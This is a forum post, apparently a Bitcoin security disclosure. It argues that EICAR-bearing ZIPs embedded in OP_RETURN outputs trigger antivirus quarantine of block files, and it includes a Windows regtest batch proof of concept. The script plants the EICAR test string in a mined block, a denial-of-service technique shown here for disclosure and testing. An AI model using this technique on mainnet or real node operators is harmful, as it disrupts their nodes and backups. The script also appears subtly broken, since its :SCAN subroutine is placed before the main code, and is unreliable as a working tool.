Next scheduled rescrape ... never
Version 1
Last scraped
Edited on 24/09/2025, 21:26:41 UTC
Thanks — quick clarifications:

• This isn’t a Core crash or fuzzing case. It’s an operational DoS via quarantine: the AV/EDR sees signature-bearing bytes (here, a ZIP with EICAR) inside the raw block file and quarantines or locks it. Core then hits IO/missing-file and the node stalls until re-download/reindex.

• OS-agnostic. The PoC works because many AVs carve/scan archives found inside larger binaries. That behavior exists on Linux (proved with ClamAV) and also on Windows/macOS in various engines. It’s about how scanners treat containers embedded in arbitrary files, not about executing anything.

• “Advanced endpoint software will only allow Bitcoin Core to access blk files” — some products can be tuned that way, but default/scheduled/on-access scans, backup scanners, or NAS-side scanners still quarantine. That’s downtime and operator friction, especially for non-enterprise node runners.

• The risk scales with ease/frequency. If OP_RETURN capacity is raised, it becomes easier to drop recognizable payloads (like ZIPs) that many engines scan by default. That’s the whole point of the repro: block-level quarantine happens.

TL;DR: Not a protocol vulnerability; a repeatable ops disruption. I’ve posted a regtest script so anyone can verify on their setup.

Windows test script :
Windows batch (.bat) test script that mirrors the Linux PoC. put it all in a file named BTC-test-win.bat, edit the AV configuration at the top, then double-click or run from cmd.

it will:
start a regtest node in a temp datadir (does not touch mainnet/testnet)
create a ZIP with the EICAR test file (safe)
embed that ZIP in OP_RETURN, mine 1 block
export the raw block and verify OP_RETURN is a real ZIP
scan the block file and the payload ZIP using your AV command


Code:
:: ============================ BTC-test-win.bat ============================
:: Repro: AV quarantines raw block via ZIP-in-OP_RETURN (regtest, safe EICAR)
:: - starts a regtest node (separate datadir; does not touch mainnet/testnet)
:: - creates a ZIP with the EICAR test file (harmless AV test)
:: - embeds ZIP in OP_RETURN, mines 1 block, exports raw block
:: - verifies OP_RETURN is a real ZIP, scans block + payload with your AV

@echo off
setlocal EnableExtensions EnableDelayedExpansion

:: -------- AV CONFIG (edit these) -----------------------------------------
:: Point AV_CMD to your scanner. Put "%FILE%" in AV_ARGS where the file path goes.

:: Example: ClamAV for Windows (adjust if your install path differs)
set "AV_CMD=C:\Program Files\ClamAV\clamscan.exe"
set "AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%"

:: Example: Microsoft Defender (uncomment one of these pairs and comment ClamAV above)
:: set "AV_CMD=%ProgramFiles%\Windows Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: Alternate Defender path on some builds:
:: set "AV_CMD=%ProgramFiles%\Microsoft Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"

:: -------- Bitcoin Core binaries (adjust if not in PATH) -------------------
set "BITCOIND=bitcoind.exe"
set "BITCOINCLI=bitcoin-cli.exe"

:: -------- Work dirs -------------------------------------------------------
for /f "usebackq tokens=*" %%t in (`
  powershell -NoProfile -Command "(Get-Date).ToString('yyyyMMdd-HHmmss')"
`) do set "NOWSTAMP=%%t"
set "WORK=%CD%\btc-av-opreturn-%NOWSTAMP%"
set "DATADIR=%WORK%\datadir"
mkdir "%WORK%" 2>nul
mkdir "%DATADIR%" 2>nul
echo [*] Workdir: %WORK%

:: -------- helper: run AV on a file ---------------------------------------
:: usage: call :SCAN "C:\path\to\file"
:SCAN
set "_file=%~1"
set "_args=%AV_ARGS%"
set "_args=!_args:%%FILE%%=%_file%!"
echo [*] AV: "%AV_CMD%" !_args!
"%AV_CMD%" !_args!
exit /b

:: -------- start bitcoind (regtest) ---------------------------------------
echo [*] Starting bitcoind (regtest) with larger OP_RETURN...
start "bitcoind-regtest" /b "%BITCOIND%" -regtest -server ^
 -datadir="%DATADIR%" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize=4096 ^
 -acceptnonstdtxn=1 -printtoconsole=0

:: wait for RPC
echo [*] Waiting for RPC...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwait getblockchaininfo >nul

:: -------- create wallet and mine funds -----------------------------------
echo [*] Creating wallet and mining 101 blocks...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -named createwallet wallet_name="ziptest" descriptors=true >nul 2>nul
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" loadwallet ziptest >nul 2>nul
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest getnewaddress`) do set "ADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 101 "%ADDR%" >nul

:: -------- make EICAR and ZIP (PowerShell) --------------------------------
set "EICAR=%WORK%\eicar.txt"
set "ZIP=%WORK%\eicar.zip"
echo [*] Creating EICAR and ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$s='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';" ^
 "Set-Content -LiteralPath '%EICAR%' -Value $s -NoNewline;" ^
 "If(Test-Path '%ZIP%'){Remove-Item '%ZIP%'};" ^
 "Compress-Archive -LiteralPath '%EICAR%' -DestinationPath '%ZIP%'"

:: -------- ZIP -> hex (for OP_RETURN) -------------------------------------
echo [*] Converting ZIP to hex for OP_RETURN...
for /f "usebackq tokens=*" %%H in (`
  powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$b=[IO.File]::ReadAllBytes('%ZIP%');" ^
  "$o=([System.Text.StringBuilder]::new());" ^
  "foreach($x in $b){[void]$o.AppendFormat('{0:x2}',$x)};" ^
  "$o.ToString()"
`) do set "ZIPHEX=%%H"

:: -------- create and send OP_RETURN tx -----------------------------------
echo [*] Creating OP_RETURN transaction...
setlocal DisableDelayedExpansion
set "JSON=[{""data"":""%ZIPHEX%""}]"
setlocal EnableDelayedExpansion
for /f "usebackq tokens=*" %%R in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" createrawtransaction "[]" "!JSON!"`) do set "RAW=%%R"
for /f "usebackq tokens=*" %%F in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest fundrawtransaction "%RAW%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "FUNDED=%%F"
for /f "usebackq tokens=*" %%S in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest signrawtransactionwithwallet "%FUNDED%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "SIGNED=%%S"
for /f "usebackq tokens=*" %%T in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" sendrawtransaction "%SIGNED%"`) do set "TXID=%%T"
echo [*] TXID: %TXID%

:: -------- mine it and export raw block -----------------------------------
echo [*] Mining 1 block...
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getnewaddress`) do set "MADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 1 "%MADDR%" >nul
for /f "usebackq tokens=*" %%B in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getbestblockhash`) do set "BHASH=%%B"
echo [*] Block: %BHASH%

set "BLOCKHEX=%WORK%\block.hex"
set "BLOCKBIN=%WORK%\block-with-zip.bin"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getblock "%BHASH%" 0 > "%BLOCKHEX%"

echo [*] Converting block hex -> bin...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h=(Get-Content -Raw '%BLOCKHEX%').Trim();" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%BLOCKBIN%',$ba)"

:: -------- extract OP_RETURN hex from the TX (no txindex needed) ----------
echo [*] Extracting OP_RETURN payload (hex)...
for /f "usebackq tokens=*" %%X in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" getrawtransaction "%TXID%" true "%BHASH%" ^
  ^| powershell -NoProfile -Command ^
    "$j=Get-Content -Raw ^| ConvertFrom-Json;" ^
    "$nulldata=$j.vout ^| ? { $_.scriptPubKey.type -eq 'nulldata' };" ^
    "if(!$nulldata){''} else {" ^
    "  $asm=$nulldata[0].scriptPubKey.asm;" ^
    "  ($asm -split ' ')[1]" ^
    "}"
`) do set "OPHEX=%%X"

set "OPZIP=%WORK%\opreturn.zip"
echo [*] Writing OP_RETURN hex -> payload ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h='%OPHEX%';" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%OPZIP%',$ba);" ^
 "$m=Get-Content -Raw '%OPZIP%' -AsByteStream -TotalCount 4;" ^
 "$hex=($m ^| ForEach-Object { $_.ToString('x2') }) -join '';" ^
 "Write-Host ('[*] OP_RETURN ZIP magic: ' + $hex)"

:: -------- scan with your AV ---------------------------------------------
echo.
echo [*] Scanning with your AV command...
call :SCAN "%BLOCKBIN%"
call :SCAN "%OPZIP%"
call :SCAN "%EICAR%"

:: -------- done; stop node ------------------------------------------------
echo [*] Stopping bitcoind...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" stop >nul 2>nul

echo.
echo [DONE] Workdir: %WORK%
echo        Block:    %BHASH%
echo        TXID:    %TXID%
echo =======================================================================
exit /b
:: ========================== end BTC-test-win.bat =========================


notes

Edit the AV config at the top:

ClamAV example (as prefilled):
AV_CMD=C:\Program Files\ClamAV\clamscan.exe
AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%

Windows Defender example:
AV_CMD=C:\Program Files\Windows Defender\MpCmdRun.exe
AV_ARGS=-Scan -ScanType 3 -File %FILE%

Requires Bitcoin Core (30.0rc) for Windows (bitcoind.exe, bitcoin-cli.exe) in PATH or adjust the BITCOIND / BITCOINCLI variables to full paths.
Uses PowerShell to write EICAR, create ZIP, and handle hex/binary conversion and JSON parsing.
It runs only on regtest and writes everything under a timestamped btc-av-opreturn-... folder in your current directory.

I only have Linux so can't test it myself.




TL;DR — Don’t increase OP_RETURN
This isn’t about code execution. It’s about AV/EDR quarantining raw blk*.dat when malware signature-like bytes are embedded in transactions. That creates an operational DoS for node runners, backups, and restores. We’ve shown it’s trivially reproducible today.

Why this matters
  • Nodes stall: quarantine or lock on blk*.dat → IO errors → reindex/re-download → downtime.
  • Backups break: archive/NAS scanners nuke snapshots, even if live datadir is excluded.
  • Friction centralises: non-enterprise operators won’t hand-tune AV; more false hits = fewer healthy nodes.

Real-world precedent when software is flagged as “malware”
  • CCleaner (2017): poisoned update → millions affected → lasting reputation loss and churn.
  • SolarWinds (2020): supply-chain compromise → enterprise/government blacklists and contracts lost.
  • HandBrake (2017): hacked download server → ransomware in “official” installer → user trust cratered.

Point
Increasing OP_RETURN capacity widens the on-chain delivery path for recognisable payloads (ZIPs, signatures) that mainstream AVs already carve and scan inside large files. More capacity = more incidents. If you push this change after disclosure, you own the ops risk.

I’ve shown with the tests, which you can easily reproduce with the scripts I have uploaded, AV detectors will detect malware signature embedded in the op_return.



Update sent to Bitcoin Core Security

Summary (updated): AV software identified malware signature in blockchain.
By enclosing the canonical EICAR test string inside a ZIP and embedding that ZIP in an OP_RETURN output, AV/EDR engines can and do detect “malware” in the raw block file (blk*.dat).

In my regtest runs (Core v30.0rc1), ClamAV flagged the exported block file itself (and the extracted payload). This creates an operational DoS risk for node operators: quarantine or lock leads to I/O errors, reindex or re-download, and downtime. Backups are also impacted when archive or NAS scanners hit the same bytes.

Why this matters
  • Nodes stall: quarantine of blk*.dat causes I/O failures and reindex or re-download loops.
  • Backups break: offline or NAS scans can nuke snapshots even if the live datadir is excluded.
  • Centralizing pressure: most non-enterprise operators will not hand-tune AV or EDR; more incidents means fewer healthy nodes.

Context and precedent
When software is flagged as “malware” (false positive or real compromise), the fallout is real. Examples often cited: CCleaner (2017), SolarWinds (2020), HandBrake (2017). Here we show a repeatable on-chain trigger for similar quarantine behaviour.

Ask
Please do not increase OP_RETURN capacity without explicitly considering this operational risk. Increasing capacity widens the on-chain delivery path for recognizable containers (ZIPs) that engines already carve and scan inside large files.

Repro scripts and discussion
• Linux regtest scripts to reproduce the ZIP-in-OP_RETURN detection:
• Bitcointalk link to this discusion



Ha Ha Ha Ha Ha!!!!!

I was unable to send security the test script in the email because :
Code:
Sorry, we were unable to deliver your message to the following address.

<security@bitcoincore.org>:
550: 5.7.1  Reject for policy reason RULE1_1: Virus/Malware detected
Original archived Re: Security disclosure: OP_RETURN embedding of Malware signatures into Blockchain
Scraped on 17/09/2025, 21:26:30 UTC
Thanks — quick clarifications:

• This isn’t a Core crash or fuzzing case. It’s an operational DoS via quarantine: the AV/EDR sees signature-bearing bytes (here, a ZIP with EICAR) inside the raw block file and quarantines or locks it. Core then hits IO/missing-file and the node stalls until re-download/reindex.

• OS-agnostic. The PoC works because many AVs carve/scan archives found inside larger binaries. That behavior exists on Linux (proved with ClamAV) and also on Windows/macOS in various engines. It’s about how scanners treat containers embedded in arbitrary files, not about executing anything.

• “Advanced endpoint software will only allow Bitcoin Core to access blk files” — some products can be tuned that way, but default/scheduled/on-access scans, backup scanners, or NAS-side scanners still quarantine. That’s downtime and operator friction, especially for non-enterprise node runners.

• The risk scales with ease/frequency. If OP_RETURN capacity is raised, it becomes easier to drop recognizable payloads (like ZIPs) that many engines scan by default. That’s the whole point of the repro: block-level quarantine happens.

TL;DR: Not a protocol vulnerability; a repeatable ops disruption. I’ve posted a regtest script so anyone can verify on their setup.

Windows test script :
Windows batch (.bat) test script that mirrors the Linux PoC. put it all in a file named BTC-test-win.bat, edit the AV configuration at the top, then double-click or run from cmd.

it will:
start a regtest node in a temp datadir (does not touch mainnet/testnet)
create a ZIP with the EICAR test file (safe)
embed that ZIP in OP_RETURN, mine 1 block
export the raw block and verify OP_RETURN is a real ZIP
scan the block file and the payload ZIP using your AV command


Code:
:: ============================ BTC-test-win.bat ============================
:: Repro: AV quarantines raw block via ZIP-in-OP_RETURN (regtest, safe EICAR)
:: - starts a regtest node (separate datadir; does not touch mainnet/testnet)
:: - creates a ZIP with the EICAR test file (harmless AV test)
:: - embeds ZIP in OP_RETURN, mines 1 block, exports raw block
:: - verifies OP_RETURN is a real ZIP, scans block + payload with your AV

@echo off
setlocal EnableExtensions EnableDelayedExpansion

:: -------- AV CONFIG (edit these) -----------------------------------------
:: Point AV_CMD to your scanner. Put "%FILE%" in AV_ARGS where the file path goes.

:: Example: ClamAV for Windows (adjust if your install path differs)
set "AV_CMD=C:\Program Files\ClamAV\clamscan.exe"
set "AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%"

:: Example: Microsoft Defender (uncomment one of these pairs and comment ClamAV above)
:: set "AV_CMD=%ProgramFiles%\Windows Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: Alternate Defender path on some builds:
:: set "AV_CMD=%ProgramFiles%\Microsoft Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"

:: -------- Bitcoin Core binaries (adjust if not in PATH) -------------------
set "BITCOIND=bitcoind.exe"
set "BITCOINCLI=bitcoin-cli.exe"

:: -------- Work dirs -------------------------------------------------------
for /f "usebackq tokens=*" %%t in (`
  powershell -NoProfile -Command "(Get-Date).ToString('yyyyMMdd-HHmmss')"
`) do set "NOWSTAMP=%%t"
set "WORK=%CD%\btc-av-opreturn-%NOWSTAMP%"
set "DATADIR=%WORK%\datadir"
mkdir "%WORK%" 2>nul
mkdir "%DATADIR%" 2>nul
echo [*] Workdir: %WORK%

:: -------- helper: run AV on a file ---------------------------------------
:: usage: call :SCAN "C:\path\to\file"
:SCAN
set "_file=%~1"
set "_args=%AV_ARGS%"
set "_args=!_args:%%FILE%%=%_file%!"
echo [*] AV: "%AV_CMD%" !_args!
"%AV_CMD%" !_args!
exit /b

:: -------- start bitcoind (regtest) ---------------------------------------
echo [*] Starting bitcoind (regtest) with larger OP_RETURN...
start "bitcoind-regtest" /b "%BITCOIND%" -regtest -server ^
 -datadir="%DATADIR%" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize=4096 ^
 -acceptnonstdtxn=1 -printtoconsole=0

:: wait for RPC
echo [*] Waiting for RPC...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwait getblockchaininfo >nul

:: -------- create wallet and mine funds -----------------------------------
echo [*] Creating wallet and mining 101 blocks...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -named createwallet wallet_name="ziptest" descriptors=true >nul 2>nul
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" loadwallet ziptest >nul 2>nul
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest getnewaddress`) do set "ADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 101 "%ADDR%" >nul

:: -------- make EICAR and ZIP (PowerShell) --------------------------------
set "EICAR=%WORK%\eicar.txt"
set "ZIP=%WORK%\eicar.zip"
echo [*] Creating EICAR and ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$s='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';" ^
 "Set-Content -LiteralPath '%EICAR%' -Value $s -NoNewline;" ^
 "If(Test-Path '%ZIP%'){Remove-Item '%ZIP%'};" ^
 "Compress-Archive -LiteralPath '%EICAR%' -DestinationPath '%ZIP%'"

:: -------- ZIP -> hex (for OP_RETURN) -------------------------------------
echo [*] Converting ZIP to hex for OP_RETURN...
for /f "usebackq tokens=*" %%H in (`
  powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$b=[IO.File]::ReadAllBytes('%ZIP%');" ^
  "$o=([System.Text.StringBuilder]::new());" ^
  "foreach($x in $b){[void]$o.AppendFormat('{0:x2}',$x)};" ^
  "$o.ToString()"
`) do set "ZIPHEX=%%H"

:: -------- create and send OP_RETURN tx -----------------------------------
echo [*] Creating OP_RETURN transaction...
setlocal DisableDelayedExpansion
set "JSON=[{""data"":""%ZIPHEX%""}]"
setlocal EnableDelayedExpansion
for /f "usebackq tokens=*" %%R in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" createrawtransaction "[]" "!JSON!"`) do set "RAW=%%R"
for /f "usebackq tokens=*" %%F in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest fundrawtransaction "%RAW%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "FUNDED=%%F"
for /f "usebackq tokens=*" %%S in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest signrawtransactionwithwallet "%FUNDED%" ^
  ^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "SIGNED=%%S"
for /f "usebackq tokens=*" %%T in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" sendrawtransaction "%SIGNED%"`) do set "TXID=%%T"
echo [*] TXID: %TXID%

:: -------- mine it and export raw block -----------------------------------
echo [*] Mining 1 block...
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getnewaddress`) do set "MADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 1 "%MADDR%" >nul
for /f "usebackq tokens=*" %%B in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getbestblockhash`) do set "BHASH=%%B"
echo [*] Block: %BHASH%

set "BLOCKHEX=%WORK%\block.hex"
set "BLOCKBIN=%WORK%\block-with-zip.bin"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getblock "%BHASH%" 0 > "%BLOCKHEX%"

echo [*] Converting block hex -> bin...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h=(Get-Content -Raw '%BLOCKHEX%').Trim();" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%BLOCKBIN%',$ba)"

:: -------- extract OP_RETURN hex from the TX (no txindex needed) ----------
echo [*] Extracting OP_RETURN payload (hex)...
for /f "usebackq tokens=*" %%X in (`
  "%BITCOINCLI%" -regtest -datadir="%DATADIR%" getrawtransaction "%TXID%" true "%BHASH%" ^
  ^| powershell -NoProfile -Command ^
    "$j=Get-Content -Raw ^| ConvertFrom-Json;" ^
    "$nulldata=$j.vout ^| ? { $_.scriptPubKey.type -eq 'nulldata' };" ^
    "if(!$nulldata){''} else {" ^
    "  $asm=$nulldata[0].scriptPubKey.asm;" ^
    "  ($asm -split ' ')[1]" ^
    "}"
`) do set "OPHEX=%%X"

set "OPZIP=%WORK%\opreturn.zip"
echo [*] Writing OP_RETURN hex -> payload ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
 "$h='%OPHEX%';" ^
 "$ba=New-Object byte[] ($h.Length/2);" ^
 "for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
 "[IO.File]::WriteAllBytes('%OPZIP%',$ba);" ^
 "$m=Get-Content -Raw '%OPZIP%' -AsByteStream -TotalCount 4;" ^
 "$hex=($m ^| ForEach-Object { $_.ToString('x2') }) -join '';" ^
 "Write-Host ('[*] OP_RETURN ZIP magic: ' + $hex)"

:: -------- scan with your AV ---------------------------------------------
echo.
echo [*] Scanning with your AV command...
call :SCAN "%BLOCKBIN%"
call :SCAN "%OPZIP%"
call :SCAN "%EICAR%"

:: -------- done; stop node ------------------------------------------------
echo [*] Stopping bitcoind...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" stop >nul 2>nul

echo.
echo [DONE] Workdir: %WORK%
echo       Block:   %BHASH%
echo       TXID:    %TXID%
echo =======================================================================
exit /b
:: ========================== end BTC-test-win.bat =========================


notes

Edit the AV config at the top:

ClamAV example (as prefilled):
AV_CMD=C:\Program Files\ClamAV\clamscan.exe
AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%

Windows Defender example:
AV_CMD=C:\Program Files\Windows Defender\MpCmdRun.exe
AV_ARGS=-Scan -ScanType 3 -File %FILE%

Requires Bitcoin Core (30.0rc) for Windows (bitcoind.exe, bitcoin-cli.exe) in PATH or adjust the BITCOIND / BITCOINCLI variables to full paths.
Uses PowerShell to write EICAR, create ZIP, and handle hex/binary conversion and JSON parsing.
It runs only on regtest and writes everything under a timestamped btc-av-opreturn-... folder in your current directory.

I only have Linux so can't test it myself.